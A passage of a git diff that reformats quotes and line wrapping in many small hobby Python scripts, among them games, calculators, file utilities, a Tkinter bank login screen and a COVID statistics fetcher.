employee_frame.grid(padx=500, pady=200) - label = Label(employee_frame, text="Employee Login", font='bold') + label = Label(employee_frame, text="Employee Login", font="bold") label.grid(row=0, pady=20) label1 = Label(employee_frame, text="Name:") @@ -1068,7 +1254,7 @@ def check_emp(): entry1 = Entry(employee_frame) entry1.grid(row=2, pady=10) - entry2 = Entry(employee_frame, show='*') + entry2 = Entry(employee_frame, show="*") entry2.grid(row=4, pady=10) button = Button(employee_frame, text="Submit", command=check_emp) @@ -1080,10 +1266,10 @@ def check_emp(): def admin_login(): frame.grid_forget() global admin_frame - admin_frame = Frame(tk, bg='black') + admin_frame = Frame(tk, bg="black") admin_frame.grid(padx=500, pady=250) - label = Label(admin_frame, text="Admin Login", font='bold') + label = Label(admin_frame, text="Admin Login", font="bold") label.grid(row=0, pady=20) label1 = Label(admin_frame, text="Name:") @@ -1096,7 +1282,7 @@ def admin_login(): entry1 = Entry(admin_frame) entry1.grid(row=2, pady=10) - entry2 = Entry(admin_frame, show='*') + entry2 = Entry(admin_frame, show="*") entry2.grid(row=4, pady=10) button = Button(admin_frame, text="Submit", command=page1) @@ -1108,13 +1294,13 @@ def admin_login(): global tk tk = Tk() -tk.config(bg='black') -tk.title('Bank Managing System') +tk.config(bg="black") +tk.title("Bank Managing System") tk.minsize(1200, 800) tk.maxsize(1200, 800) global frame -frame = Frame(tk, bg='black') +frame = Frame(tk, bg="black") frame.grid(padx=500, pady=250) button = Button(frame, text="Admin", command=admin_login) diff --git a/batch_file_rename.py b/batch_file_rename.py index c52ed15055a..b3a4d75e6d5 100644 --- a/batch_file_rename.py +++ b/batch_file_rename.py @@ -7,8 +7,8 @@ """ # just checking -__author__ = 'Craig Richards' -__version__ = '1.0' +__author__ = "Craig Richards" +__version__ = "1.0" import argparse import os @@ -31,20 +31,28 @@ def batch_rename(work_dir, old_ext, new_ext): newfile = root_name + new_ext # Write the files - os.rename( - os.path.join(work_dir, filename), - os.path.join(work_dir, newfile) - ) + os.rename(os.path.join(work_dir, filename), os.path.join(work_dir, newfile)) print("rename is done!") print(os.listdir(work_dir)) def get_parser(): - parser = argparse.ArgumentParser(description='change extension of files in a working directory') - parser.add_argument('work_dir', metavar='WORK_DIR', type=str, nargs=1, - help='the directory where to change extension') - parser.add_argument('old_ext', metavar='OLD_EXT', type=str, nargs=1, help='old extension') - parser.add_argument('new_ext', metavar='NEW_EXT', type=str, nargs=1, help='new extension') + parser = argparse.ArgumentParser( + description="change extension of files in a working directory" + ) + parser.add_argument( + "work_dir", + metavar="WORK_DIR", + type=str, + nargs=1, + help="the directory where to change extension", + ) + parser.add_argument( + "old_ext", metavar="OLD_EXT", type=str, nargs=1, help="old extension" + ) + parser.add_argument( + "new_ext", metavar="NEW_EXT", type=str, nargs=1, help="new extension" + ) return parser @@ -57,18 +65,18 @@ def main(): args = vars(parser.parse_args()) # Set the variable work_dir with the first argument passed - work_dir = args['work_dir'][0] + work_dir = args["work_dir"][0] # Set the variable old_ext with the second argument passed - old_ext = args['old_ext'][0] - if old_ext and old_ext[0] != '.': - old_ext = '.' + old_ext + old_ext = args["old_ext"][0] + if old_ext and old_ext[0] != ".": + old_ext = "." + old_ext # Set the variable new_ext with the third argument passed - new_ext = args['new_ext'][0] - if new_ext and new_ext[0] != '.': - new_ext = '.' + new_ext + new_ext = args["new_ext"][0] + if new_ext and new_ext[0] != ".": + new_ext = "." + new_ext batch_rename(work_dir, old_ext, new_ext) -if __name__ == '__main__': +if __name__ == "__main__": main() diff --git a/binod.py b/binod.py index 70fcf717273..2bee72de9d6 100644 --- a/binod.py +++ b/binod.py @@ -12,28 +12,30 @@ # ======= import time import os -#Importing our Bindoer + +# Importing our Bindoer print("To Kaise Hai Ap Log!") time.sleep(1) print("Chaliye Binod Karte Hai!") -def checkBinod(file):#Trying to find Binod In File Insted Of Manohar Ka Kotha + + +def checkBinod(file): # Trying to find Binod In File Insted Of Manohar Ka Kotha # master with open(file, "r") as f: # master fileContent = f.read() - if 'binod' in fileContent.lower(): - print( - f'**************Congratulations Binod found in {f}********************') + if "binod" in fileContent.lower(): + print(f"**************Congratulations Binod found in {f}********************") return True else: return False -if __name__ == '__main__': +if __name__ == "__main__": print("************binod Detector********************") dir_contents = os.listdir() for item in dir_contents: - if item.endswith('txt'): + if item.endswith("txt"): ans = checkBinod(item) - if(ans is False): - print('Binod not found Try Looking In Manohar Ka Kotha!!') + if ans is False: + print("Binod not found Try Looking In Manohar Ka Kotha!!") diff --git a/blackJackGUI.py b/blackJackGUI.py index 9300bc15ae0..a67e6e06717 100644 --- a/blackJackGUI.py +++ b/blackJackGUI.py @@ -1,18 +1,34 @@ - from __future__ import print_function import random import simplegui + CARD_SIZE = (72, 96) CARD_CENTER = (36, 48) -card_images = simplegui.load_image("http://storage.googleapis.com/codeskulptor-assets/cards_jfitz.png") +card_images = simplegui.load_image( + "http://storage.googleapis.com/codeskulptor-assets/cards_jfitz.png" +) in_play = False outcome = "" score = 0 -SUITS = ('C', 'S', 'H', 'D') -RANKS = ('A', '2', '3', '4', '5', '6', '7', '8', '9', 'T', 'J', 'Q', 'K') -VALUES = {'A': 1, '2': 2, '3': 3, '4': 4, '5': 5, '6': 6, '7': 7, '8': 8, '9': 9, 'T': 10, 'J': 10, 'Q': 10, 'K': 10} +SUITS = ("C", "S", "H", "D") +RANKS = ("A", "2", "3", "4", "5", "6", "7", "8", "9", "T", "J", "Q", "K") +VALUES = { + "A": 1, + "2": 2, + "3": 3, + "4": 4, + "5": 5, + "6": 6, + "7": 7, + "8": 8, + "9": 9, + "T": 10, + "J": 10, + "Q": 10, + "K": 10, +} class Card: @@ -35,10 +51,17 @@ def get_rank(self): return self.rank def draw(self, canvas, pos): - card_loc = (CARD_CENTER[0] + CARD_SIZE[0] * RANKS.index(self.rank), - CARD_CENTER[1] + CARD_SIZE[1] * SUITS.index(self.suit)) - canvas.draw_image(card_images, card_loc, CARD_SIZE, [pos[0] + CARD_CENTER[0], pos[1] + CARD_CENTER[1]], - CARD_SIZE) + card_loc = ( + CARD_CENTER[0] + CARD_SIZE[0] * RANKS.index(self.rank), + CARD_CENTER[1] + CARD_SIZE[1] * SUITS.index(self.suit), + ) + canvas.draw_image( + card_images, + card_loc, + CARD_SIZE, + [pos[0] + CARD_CENTER[0], pos[1] + CARD_CENTER[1]], + CARD_SIZE, + ) def string_list_join(string, string_list): @@ -66,7 +89,7 @@ def get_value(self): if card[1] in VALUES: self.hand_value += VALUES[card[1]] var.append(card[1]) - if 'A' not in var: + if "A" not in var: return self.hand_value if self.hand_value + 10 <= 21: return self.hand_value + 10 @@ -137,13 +160,13 @@ def hit(): def draw(canvas): - canvas.draw_text(outcome, [250, 150], 25, 'White') - canvas.draw_text("BlackJack", [250, 50], 40, 'Black') - canvas.draw_text(score1, [100, 100], 40, 'Red') + canvas.draw_text(outcome, [250, 150], 25, "White") + canvas.draw_text("BlackJack", [250, 50], 40, "Black") + canvas.draw_text(score1, [100, 100], 40, "Red") player_card.draw(canvas, [20, 300]) dealer_card.draw(canvas, [300, 300]) - canvas.draw_text(score2, [400, 100], 40, 'Red') + canvas.draw_text(score2, [400, 100], 40, "Red") frame = simplegui.create_frame("Blackjack", 600, 600) diff --git a/blackjack.py b/blackjack.py index 9fef7b2c6e0..1cdac41bc43 100644 --- a/blackjack.py +++ b/blackjack.py @@ -7,11 +7,14 @@ random.shuffle(deck) print( - " ********************************************************** ") + " ********************************************************** " +) print( - " Welcome to the game Casino - BLACK JACK ! ") + " Welcome to the game Casino - BLACK JACK ! " +) print( - " ********************************************************** ") + " ********************************************************** " +) d_cards = [] # Initialising dealer's cards p_cards = [] # Initialising player's cards @@ -20,7 +23,7 @@ random.shuffle(deck) d_cards.append(deck.pop()) if len(d_cards) == 2: - print('The cards dealer has are X ', d_cards[1]) + print("The cards dealer has are X ", d_cards[1]) # Displaying the Player's cards while len(p_cards) != 2: @@ -35,7 +38,9 @@ exit() if sum(d_cards) > 21: - print("Dealer is BUSTED !\n ************** You are the Winner !!******************\n") + print( + "Dealer is BUSTED !\n ************** You are the Winner !!******************\n" + ) exit() if sum(d_cards) == 21: @@ -86,17 +91,17 @@ def dealer_choice(): while sum(p_cards) < 21: - k = input('Want to hit or stay?\n Press 1 for hit and 0 for stay ') + k = input("Want to hit or stay?\n Press 1 for hit and 0 for stay ") if k == 1: random.shuffle(deck) p_cards.append(deck.pop()) - print('You have a total of ' + str(sum(p_cards)) - + ' with the cards ', p_cards) + print("You have a total of " + str(sum(p_cards)) + " with the cards ", p_cards) if sum(p_cards) > 21: - print('*************You are BUSTED !*************\n Dealer Wins !!') + print("*************You are BUSTED !*************\n Dealer Wins !!") if sum(p_cards) == 21: - print('*******************You are the Winner !!*****************************') - + print( + "*******************You are the Winner !!*****************************" + ) else: dealer_choice() diff --git a/brickout-game/brickout-game.py b/brickout-game/brickout-game.py index 7adb01f8323..c212be6a634 100644 --- a/brickout-game/brickout-game.py +++ b/brickout-game/brickout-game.py @@ -16,7 +16,8 @@ """ import random -#using pygame python GUI + +# using pygame python GUI import pygame # Define Four Colours @@ -57,14 +58,14 @@ def getYVel(self): def draw(self): """ - draws the ball onto screen. + draws the ball onto screen. """ pygame.draw.circle(screen, (255, 0, 0), (self._xLoc, self._yLoc), self._radius) def update(self, paddle, brickwall): """ - moves the ball at the screen. - contains some collision detection. + moves the ball at the screen. + contains some collision detection. """ self._xLoc += self.__xVel self._yLoc += self.__yVel @@ -93,8 +94,9 @@ def update(self, paddle, brickwall): ballX = self._xLoc ballY = self._yLoc - if ((ballX + self._radius) >= paddleX and ballX <= (paddleX + paddleW)) \ - and ((ballY + self._radius) >= paddleY and ballY <= (paddleY + paddleH)): + if ((ballX + self._radius) >= paddleX and ballX <= (paddleX + paddleW)) and ( + (ballY + self._radius) >= paddleY and ballY <= (paddleY + paddleH) + ): self.__yVel *= -1 return False @@ -118,13 +120,15 @@ def __init__(self, screen, width, height, x, y): def draw(self): """ - draws the paddle onto screen. + draws the paddle onto screen. """ - pygame.draw.rect(screen, (0, 0, 0), (self._xLoc, self._yLoc, self._width, self._height), 0) + pygame.draw.rect( + screen, (0, 0, 0), (self._xLoc, self._yLoc, self._width, self._height), 0 + ) def update(self): """ - moves the paddle at the screen via mouse + moves the paddle at the screen via mouse """ x, y = pygame.mouse.get_pos() if x >= 0 and x <= (self.__W - self._width): @@ -151,35 +155,40 @@ def __init__(self, screen, width, height, x, y): def draw(self): """ - draws the brick onto screen. - color: rgb(56, 177, 237) + draws the brick onto screen. + color: rgb(56, 177, 237) """ - pygame.draw.rect(screen, (56, 177, 237), (self._xLoc, self._yLoc, self._width, self._height), 0) + pygame.draw.rect( + screen, + (56, 177, 237), + (self._xLoc, self._yLoc, self._width, self._height), + 0, + ) def add(self, group): """ - adds this brick to a given group. + adds this brick to a given group. """ group.add(self) self.__isInGroup = True def remove(self, group): """ - removes this brick from the given group. + removes this brick from the given group. """ group.remove(self) self.__isInGroup = False def alive(self): """ - returns true when this brick belongs to the brick wall. - otherwise false + returns true when this brick belongs to the brick wall. + otherwise false """ return self.__isInGroup def collide(self, ball): """ - collision detection between ball and this brick + collision detection between ball and this brick """ brickX = self._xLoc brickY = self._yLoc @@ -190,9 +199,13 @@ def collide(self, ball): ballXVel = ball.getXVel() ballYVel = ball.getYVel() - if ((ballX + ball._radius) >= brickX and (ballX + ball._radius) <= (brickX + brickW)) \ - and ((ballY - ball._radius) >= brickY and (ballY - ball._radius) \ - <= (brickY + brickH)): + if ( + (ballX + ball._radius) >= brickX + and (ballX + ball._radius) <= (brickX + brickW) + ) and ( + (ballY - ball._radius) >= brickY + and (ballY - ball._radius) <= (brickY + brickH) + ): return True else: return False @@ -224,19 +237,19 @@ def __init__(self, screen, x, y, width, height): def add(self, brick): """ - adds a brick to this BrickWall (group) + adds a brick to this BrickWall (group) """ self._bricks.append(brick) def remove(self, brick): """ - removes a brick from this BrickWall (group) + removes a brick from this BrickWall (group) """ self._bricks.remove(brick) def draw(self): """ - draws all bricks onto screen. + draws all bricks onto screen. """ for brick in self._bricks: if brick != None: @@ -244,10 +257,10 @@ def draw(self): def update(self, ball): """ - checks collision between ball and bricks. + checks collision between ball and bricks. """ for i in range(len(self._bricks)): - if ((self._bricks[i] != None) and self._bricks[i].collide(ball)): + if (self._bricks[i] != None) and self._bricks[i].collide(ball): self._bricks[i] = None # removes the None-elements from the brick list. @@ -257,14 +270,14 @@ def update(self, ball): def hasWin(self): """ - Has player win the game? + Has player win the game? """ return len(self._bricks) == 0 def collide(self, ball): """ - check collisions between the ball and - any of the bricks. + check collisions between the ball and + any of the bricks. """ for brick in self._bricks: if brick.collide(ball): @@ -290,20 +303,20 @@ def collide(self, ball): # Used to manage how fast the screen updates clock = pygame.time.Clock() -# for displaying text in the game +# for displaying text in the game pygame.font.init() # you have to call this at the start, # if you want to use this module. # message for game over -mgGameOver = pygame.font.SysFont('Comic Sans MS', 40) +mgGameOver = pygame.font.SysFont("Comic Sans MS", 40) # message for winning the game. -mgWin = pygame.font.SysFont('Comic Sans MS', 40) +mgWin = pygame.font.SysFont("Comic Sans MS", 40) # message for score -mgScore = pygame.font.SysFont('Comic Sans MS', 40) +mgScore = pygame.font.SysFont("Comic Sans MS", 40) -textsurfaceGameOver = mgGameOver.render('Game Over!', False, (0, 0, 0)) +textsurfaceGameOver = mgGameOver.render("Game Over!", False, (0, 0, 0)) textsurfaceWin = mgWin.render("You win!", False, (0, 0, 0)) textsurfaceScore = mgScore.render("score: " + str(score), False, (0, 0, 0)) @@ -333,7 +346,7 @@ def collide(self, ball): """ if gameStatus: - # first draws ball for appropriate displaying the score. + # first draws ball for appropriate displaying the score. brickWall.draw() # for counting and displaying the score diff --git a/calc_area.py b/calc_area.py index 6a51627439f..7f35917c746 100644 --- a/calc_area.py +++ b/calc_area.py @@ -2,35 +2,40 @@ # Program to calculate the area of - square, rectangle, circle, and triangle - import math as m + def main(): - shape = int(input("Enter 1 for square, 2 for rectangle, 3 for circle, 4 for triangle, 5 for cylinder, 6 for cone, or 7 for sphere: ")) + shape = int( + input( + "Enter 1 for square, 2 for rectangle, 3 for circle, 4 for triangle, 5 for cylinder, 6 for cone, or 7 for sphere: " + ) + ) if shape == 1: - side = float(input("Enter length of side: ")) - print("Area of square = " + str(side**2)) + side = float(input("Enter length of side: ")) + print("Area of square = " + str(side ** 2)) elif shape == 2: - l = float(input("Enter length: ")) - b = float(input("Enter breadth: ")) - print("Area of rectangle = " + str(l*b)) + l = float(input("Enter length: ")) + b = float(input("Enter breadth: ")) + print("Area of rectangle = " + str(l * b)) elif shape == 3: - r = float(input("Enter radius: ")) - print("Area of circle = " + str(m.pi*r*r)) + r = float(input("Enter radius: ")) + print("Area of circle = " + str(m.pi * r * r)) elif shape == 4: - base = float(input("Enter base: ")) - h = float(input("Enter height: ")) - print("Area of rectangle = " + str(0.5*base*h)) + base = float(input("Enter base: ")) + h = float(input("Enter height: ")) + print("Area of rectangle = " + str(0.5 * base * h)) elif shape == 5: r = float(input("Enter radius: ")) h = float(input("Enter height: ")) - print("Area of cylinder = " + str(m.pow(r, 2)*h*m.pi)) + print("Area of cylinder = " + str(m.pow(r, 2) * h * m.pi)) elif shape == 6: r = float(input("Enter radius: ")) h = float(input("Enter height: ")) - print("Area of cone = " + str(m.pow(r, 2)*h*1/3*m.pi)) + print("Area of cone = " + str(m.pow(r, 2) * h * 1 / 3 * m.pi)) elif shape == 7: r = float(input("Enter radius: ")) - print("Area of sphere = " + str(m.pow(r, 3)*4/3*m.pi)) + print("Area of sphere = " + str(m.pow(r, 3) * 4 / 3 * m.pi)) else: - print("You have selected wrong choice.") + print("You have selected wrong choice.") restart = input("Would you like to calculate the area of another object? Y/N : ") @@ -39,4 +44,5 @@ def main(): elif restart.lower().startswith("n"): quit() + main() diff --git a/calculator.py b/calculator.py index ff18064c1a3..b12986aa7e6 100644 --- a/calculator.py +++ b/calculator.py @@ -24,36 +24,49 @@ """ import sys -## Imported math library to run sin(), cos(), tan() and other such functions in the calculator + +## Imported math library to run sin(), cos(), tan() and other such functions in the calculator from fileinfo import raw_input def calc(term): """ - input: term of type str - output: returns the result of the computed term. - purpose: This function is the actual calculator and the heart of the application + input: term of type str + output: returns the result of the computed term. + purpose: This function is the actual calculator and the heart of the application """ # This part is for reading and converting arithmetic terms. - term = term.replace(' ', '') - term = term.replace('^', '**') - term = term.replace('=', '') - term = term.replace('?', '') - term = term.replace('%', '/100.00') - term = term.replace('rad', 'radians') - term = term.replace('mod', '%') - term = term.replace('aval', 'abs') - - functions = ['sin', 'cos', 'tan', 'pow', 'cosh', 'sinh', 'tanh', 'sqrt', 'pi', 'radians', 'e'] + term = term.replace(" ", "") + term = term.replace("^", "**") + term = term.replace("=", "") + term = term.replace("?", "") + term = term.replace("%", "/100.00") + term = term.replace("rad", "radians") + term = term.replace("mod", "%") + term = term.replace("aval", "abs") + + functions = [ + "sin", + "cos", + "tan", + "pow", + "cosh", + "sinh", + "tanh", + "sqrt", + "pi", + "radians", + "e", + ] # This part is for reading and converting function expressions. term = term.lower() for func in functions: if func in term: - withmath = 'math.' + func + withmath = "math." + func term = term.replace(func, withmath) try: @@ -68,11 +81,11 @@ def calc(term): except NameError: - print('Invalid input. Please try again') + print("Invalid input. Please try again") except AttributeError: - print('Please check usage method and try again.') + print("Please check usage method and try again.") except TypeError: print("please enter inputs of correct datatype ") @@ -81,38 +94,40 @@ def calc(term): def result(term): """ - input: term of type str - output: none - purpose: passes the argument to the function calc(...) and - prints the result onto console. + input: term of type str + output: none + purpose: passes the argument to the function calc(...) and + prints the result onto console. """ print("\n" + str(calc(term))) def main(): """ - main-program - purpose: handles user input and prints - information to the console. + main-program + purpose: handles user input and prints + information to the console. """ - print("\nScientific Calculator\n\nFor Example: sin(rad(90)) + 50% * (sqrt(16)) + round(1.42^2)" + - "- 12mod3\n\nEnter quit to exit") + print( + "\nScientific Calculator\n\nFor Example: sin(rad(90)) + 50% * (sqrt(16)) + round(1.42^2)" + + "- 12mod3\n\nEnter quit to exit" + ) if sys.version_info.major >= 3: while True: k = input("\nWhat is ") - if k == 'quit': + if k == "quit": break result(k) else: while True: k = raw_input("\nWhat is ") - if k == 'quit': + if k == "quit": break result(k) -if __name__ == '__main__': +if __name__ == "__main__": main() diff --git a/chaos.py b/chaos.py index 6e7a5a526c9..520f3d44512 100644 --- a/chaos.py +++ b/chaos.py @@ -7,7 +7,7 @@ def main(): while True: try: x = float((input("Enter a number between 0 and 1: "))) - if (0 < x and x < 1): + if 0 < x and x < 1: break else: print("Please enter correct number") @@ -19,5 +19,5 @@ def main(): print(x) -if __name__ == '__main__': +if __name__ == "__main__": main() diff --git a/check_file.py b/check_file.py index 655c6eb1dde..65da90b2f17 100644 --- a/check_file.py +++ b/check_file.py @@ -18,16 +18,16 @@ def usage(): - print('[-] Usage: python check_file.py [filename1] [filename2] ... [filenameN]') + print("[-] Usage: python check_file.py [filename1] [filename2] ... [filenameN]") # Readfile Functions which open the file that is passed to the script def readfile(filename): - with open(filename, 'r') as f: # Ensure file is correctly closed under + with open(filename, "r") as f: # Ensure file is correctly closed under read_file = f.read() # all circumstances print(read_file) print() - print('#' * 80) + print("#" * 80) print() @@ -35,18 +35,22 @@ def main(): # Check the arguments passed to the script if len(sys.argv) >= 2: file_names = sys.argv[1:] - filteredfilenames_1 = list(file_names) # To counter changing in the same list which you are iterating + filteredfilenames_1 = list( + file_names + ) # To counter changing in the same list which you are iterating filteredfilenames_2 = list(file_names) # Iterate for each filename passed in command line argument for filename in filteredfilenames_1: if not os.path.isfile(filename): # Check the File exists - print('[-] ' + filename + ' does not exist.') - filteredfilenames_2.remove(filename) # remove non existing files from fileNames list + print("[-] " + filename + " does not exist.") + filteredfilenames_2.remove( + filename + ) # remove non existing files from fileNames list continue # Check you can read the file if not os.access(filename, os.R_OK): - print('[-] ' + filename + ' access denied') + print("[-] " + filename + " access denied") # remove non readable fileNames filteredfilenames_2.remove(filename) continue @@ -54,12 +58,12 @@ def main(): # Read the content of each file that both exists and is readable for filename in filteredfilenames_2: # Display Message and read the file contents - print('[+] Reading from : ' + filename) + print("[+] Reading from : " + filename) readfile(filename) else: usage() # Print usage if not all parameters passed/Checked -if __name__ == '__main__': +if __name__ == "__main__": main() diff --git a/check_for_sqlite_files.py b/check_for_sqlite_files.py index e5ab0f83b9a..556d348f8af 100644 --- a/check_for_sqlite_files.py +++ b/check_for_sqlite_files.py @@ -6,7 +6,7 @@ # Modifications : 1.0.1 - Remove unecessary line and variable on Line 21 -# Description : Scans directories to check if there are any sqlite files in there +# Description : Scans directories to check if there are any sqlite files in there from __future__ import print_function @@ -21,23 +21,27 @@ def isSQLite3(filename): if getsize(filename) < 100: # SQLite database file header is 100 bytes return False else: - fd = open(filename, 'rb') + fd = open(filename, "rb") header = fd.read(100) fd.close() - if header[0:16] == 'SQLite format 3\000': + if header[0:16] == "SQLite format 3\000": return True else: return False -log = open('sqlite_audit.txt', 'w') -for r, d, f in os.walk(r'.'): +log = open("sqlite_audit.txt", "w") +for r, d, f in os.walk(r"."): for files in f: if isSQLite3(files): print(files) - print("[+] '%s' **** is a SQLITE database file **** " % os.path.join(r, files)) - log.write("[+] '%s' **** is a SQLITE database file **** " % files + '\n') + print( + "[+] '%s' **** is a SQLITE database file **** " % os.path.join(r, files) + ) + log.write("[+] '%s' **** is a SQLITE database file **** " % files + "\n") else: - log.write("[-] '%s' is NOT a sqlite database file" % os.path.join(r, files) + '\n') - log.write("[-] '%s' is NOT a sqlite database file" % files + '\n') + log.write( + "[-] '%s' is NOT a sqlite database file" % os.path.join(r, files) + "\n" + ) + log.write("[-] '%s' is NOT a sqlite database file" % files + "\n") diff --git a/check_input.py b/check_input.py index 758f8ed742f..685c4f598fd 100644 --- a/check_input.py +++ b/check_input.py @@ -1,13 +1,13 @@ def get_user_input(start, end): """ - input: two integer values - lower limit 'start' and maximum 'end' - the arguments aren't inclusive. + input: two integer values + lower limit 'start' and maximum 'end' + the arguments aren't inclusive. - output: if reading successful then returns the read integer. + output: if reading successful then returns the read integer. - purpose: reads from command-line a integer in the given bounds. - while input invalid asks user again + purpose: reads from command-line a integer in the given bounds. + while input invalid asks user again """ loop = True # controls while-loop @@ -16,7 +16,7 @@ def get_user_input(start, end): try: - # reads and converts the input from the console. + # reads and converts the input from the console. user_input = int(input("Enter Your choice: ")) # checks whether input is in the given bounds. diff --git a/check_internet_con.py b/check_internet_con.py index 1dcd93df525..d6ab0a615db 100644 --- a/check_internet_con.py +++ b/check_internet_con.py @@ -8,6 +8,7 @@ # Fall back to Python 2's urllib2 from urllib2 import URLError, urlopen + def checkInternetConnectivity(): try: url = argv[1] @@ -15,7 +16,7 @@ def checkInternetConnectivity(): protocols = ["https://", "http://"] if not any(x for x in protocols if x in url): url = "https://" + url - print("URL:" + url ) + print("URL:" + url) except BaseException: url = "https://google.com" try: @@ -25,4 +26,5 @@ def checkInternetConnectivity(): except URLError as E: print("Connection error:%s" % E.reason) + checkInternetConnectivity() diff --git a/chicks_n_rabs.py b/chicks_n_rabs.py index 559eabd43f7..fa82f161d1c 100644 --- a/chicks_n_rabs.py +++ b/chicks_n_rabs.py @@ -9,7 +9,7 @@ def solve(num_heads, num_legs): - ns = 'No solutions!' + ns = "No solutions!" for i in range(num_heads + 1): j = num_heads - i if 2 * i + 4 * j == num_legs: diff --git a/classicIndianCardMatch.py b/classicIndianCardMatch.py index 6550b8f7460..6c859fb8f4d 100644 --- a/classicIndianCardMatch.py +++ b/classicIndianCardMatch.py @@ -1,9 +1,23 @@ import random import time -SUITS = ('C', 'S', 'H', 'D') -RANKS = ('A', '2', '3', '4', '5', '6', '7', '8', '9', 'T', 'J', 'Q', 'K') -VALUES = {'A': 1, '2': 2, '3': 3, '4': 4, '5': 5, '6': 6, '7': 7, '8': 8, '9': 9, 'T': 10, 'J': 10, 'Q': 10, 'K': 10} +SUITS = ("C", "S", "H", "D") +RANKS = ("A", "2", "3", "4", "5", "6", "7", "8", "9", "T", "J", "Q", "K") +VALUES = { + "A": 1, + "2": 2, + "3": 3, + "4": 4, + "5": 5, + "6": 6, + "7": 7, + "8": 8, + "9": 9, + "T": 10, + "J": 10, + "Q": 10, + "K": 10, +} class card: @@ -46,8 +60,8 @@ def __str__(self): deck1 = deck() deck2 = deck() time.sleep(5) -print('..........decks ready!!!\n') -print('Combining and shuffling both the decks..') +print("..........decks ready!!!\n") +print("Combining and shuffling both the decks..") time.sleep(10) # Shuffle the decks deck1.shuffle() @@ -61,7 +75,9 @@ def __str__(self): input("Enter a key to cut the deck..\n") player1 = combinedDeck[0:52] player2 = combinedDeck[52:] -print("Deck has been split into two and Human get a half and computer gets the other...\n") +print( + "Deck has been split into two and Human get a half and computer gets the other...\n" +) # Begin play: print("------------------------------------------\n") @@ -73,7 +89,9 @@ def __str__(self): centerPile = [] currentPlayer2Card = None -while len(player1) != 0 and len(player2) != 0: # this needs a fix as it goes on an infinite loop on a success. +while ( + len(player1) != 0 and len(player2) != 0 +): # this needs a fix as it goes on an infinite loop on a success. switchPlayer = True while switchPlayer == True: for card in range(len(player1)): @@ -85,7 +103,9 @@ def __str__(self): switchPlayer = False if currentPlayer2Card == currentPlayer1Card: player1 = player1 + centerPile - print("The human got a match and takes all the cards from center pile..") + print( + "The human got a match and takes all the cards from center pile.." + ) break while switchPlayer == False: for card in range(len(player2)): diff --git a/communication/file.py b/communication/file.py index df2c16fa9d2..4198d95ec0e 100755 --- a/communication/file.py +++ b/communication/file.py @@ -36,6 +36,6 @@ def pi(n): return math.sqrt(sum(sums) * 8) -if __name__ == '__main__': +if __name__ == "__main__": print("start") print(pi(10000000)) diff --git a/consonant.py b/consonant.py index a54c19a0463..5138b47d1ca 100644 --- a/consonant.py +++ b/consonant.py @@ -1,12 +1,27 @@ -my_string=input("Enter a string to count number of consonants: ") -string_check=["a", "e", "i", "o", "u", "A", "E", "I", "O", "U"] #list for checking vowels +my_string = input("Enter a string to count number of consonants: ") +string_check = [ + "a", + "e", + "i", + "o", + "u", + "A", + "E", + "I", + "O", + "U", +] # list for checking vowels + def count_con(string): - c=0 - for i in range(len(string)): - if string[i] not in string_check: #counter increases if the character is not vowel - c += 1 - return c + c = 0 + for i in range(len(string)): + if ( + string[i] not in string_check + ): # counter increases if the character is not vowel + c += 1 + return c + counter = count_con(my_string) print(f"Number of consonants in {my_string} is {counter}.") diff --git a/convert_time.py b/convert_time.py index 8c02197110b..d7ff1c9f697 100644 --- a/convert_time.py +++ b/convert_time.py @@ -1,4 +1,5 @@ from __future__ import print_function + # Created by sarathkaul on 12/11/19 @@ -22,6 +23,6 @@ def convert_time(input_str): return str(int(input_str[:2]) + 12) + input_str[2:8] -if __name__ == '__main__': +if __name__ == "__main__": input_time = input("Enter time you want to convert: ") print(convert_time(input_time)) diff --git a/coronacases.py b/coronacases.py index 08b7feb0ecd..b06d15ca97f 100644 --- a/coronacases.py +++ b/coronacases.py @@ -10,26 +10,26 @@ url = "https://api.covid19api.com/summary" visit = requests.get(url).json() -NewConfirmed = visit['Global']['NewConfirmed'] -TotalConfirmed = visit['Global']['TotalConfirmed'] -NewDeaths = visit['Global']['NewDeaths'] -TotalDeaths = visit['Global']['TotalDeaths'] -NewRecovered = visit['Global']['NewRecovered'] -TotalRecovered = visit['Global']['TotalRecovered'] - -india = visit['Countries'] -name = india[76]['Country'] -indiaconfirmed = india[76]['NewConfirmed'] -indiatotal = india[76]['TotalConfirmed'] -indiaDeaths = india[76]['NewDeaths'] -deathstotal = india[76]['TotalDeaths'] -indianewr = india[76]['NewRecovered'] -totalre = india[76]['TotalRecovered'] -DateUpdate = india[76]['Date'] +NewConfirmed = visit["Global"]["NewConfirmed"] +TotalConfirmed = visit["Global"]["TotalConfirmed"] +NewDeaths = visit["Global"]["NewDeaths"] +TotalDeaths = visit["Global"]["TotalDeaths"] +NewRecovered = visit["Global"]["NewRecovered"] +TotalRecovered = visit["Global"]["TotalRecovered"] + +india = visit["Countries"] +name = india[76]["Country"] +indiaconfirmed = india[76]["NewConfirmed"] +indiatotal = india[76]["TotalConfirmed"] +indiaDeaths = india[76]["NewDeaths"] +deathstotal = india[76]["TotalDeaths"] +indianewr = india[76]["NewRecovered"] +totalre = india[76]["TotalRecovered"] +DateUpdate = india[76]["Date"] def world(): - world = f''' + world = f""" ▀▀█▀▀ █▀▀█ ▀▀█▀▀ █▀▀█ █░░   ▒█▀▀█ █▀▀█ █▀▀ █▀▀ █▀▀   ▀█▀ █▀▀▄   ▒█░░▒█ █▀▀█ █▀▀█ █░░ █▀▀▄ ░▒█░░ █░░█ ░░█░░ █▄▄█ █░░   ▒█░░░ █▄▄█ ▀▀█ █▀▀ ▀▀█   ▒█░ █░░█   ▒█▒█▒█ █░░█ █▄▄▀ █░░ █░░█ ░▒█░░ ▀▀▀▀ ░░▀░░ ▀░░▀ ▀▀▀   ▒█▄▄█ ▀░░▀ ▀▀▀ ▀▀▀ ▀▀▀   ▄█▄ ▀░░▀   ▒█▄▀▄█ ▀▀▀▀ ▀░▀▀ ▀▀▀ ▀▀▀░\n @@ -39,12 +39,12 @@ def world(): Total Deaths :- {TotalDeaths} New Recovered :- {NewRecovered} Total Recovered :- {TotalRecovered} - ''' + """ print(world) def indiac(): - cases = f''' + cases = f""" ██╗███╗░░██╗██████╗░██╗░█████╗░ ██║████╗░██║██╔══██╗██║██╔══██╗ ██║██╔██╗██║██║░░██║██║███████║ @@ -60,17 +60,19 @@ def indiac(): New Recovered :- {indianewr} Total Recovered :- {totalre} Information Till :- {DateUpdate} -''' +""" print(cases) -print(''' +print( + """ ░█████╗░░█████╗░██████╗░░█████╗░███╗░░██╗░█████╗░  